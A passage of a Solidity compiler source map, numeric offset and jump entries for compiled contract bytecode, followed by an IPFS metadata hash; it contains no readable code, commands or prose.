9:2;13864:3;13860:12;13853:19;;13512:366;;;:::o;13884:419::-;14050:4;14088:2;14077:9;14073:18;14065:26;;14137:9;14131:4;14127:20;14123:1;14112:9;14108:17;14101:47;14165:131;14291:4;14165:131;:::i;:::-;14157:139;;13884:419;;;:::o;14309:348::-;14349:7;14372:20;14390:1;14372:20;:::i;:::-;14367:25;;14406:20;14424:1;14406:20;:::i;:::-;14401:25;;14594:1;14526:66;14522:74;14519:1;14516:81;14511:1;14504:9;14497:17;14493:105;14490:131;;;14601:18;;:::i;:::-;14490:131;14649:1;14646;14642:9;14631:20;;14309:348;;;;:::o;14663:191::-;14703:4;14723:20;14741:1;14723:20;:::i;:::-;14718:25;;14757:20;14775:1;14757:20;:::i;:::-;14752:25;;14796:1;14793;14790:8;14787:34;;;14801:18;;:::i;:::-;14787:34;14846:1;14843;14839:9;14831:17;;14663:191;;;;:::o;14860:180::-;14908:77;14905:1;14898:88;15005:4;15002:1;14995:15;15029:4;15026:1;15019:15;15046:185;15086:1;15103:20;15121:1;15103:20;:::i;:::-;15098:25;;15137:20;15155:1;15137:20;:::i;:::-;15132:25;;15176:1;15166:35;;15181:18;;:::i;:::-;15166:35;15223:1;15220;15216:9;15211:14;;15046:185;;;;:::o

ipfs://3591cd07dddf1f5c96f1f193dec9633acc74466e2dba954b7602cf641ddde781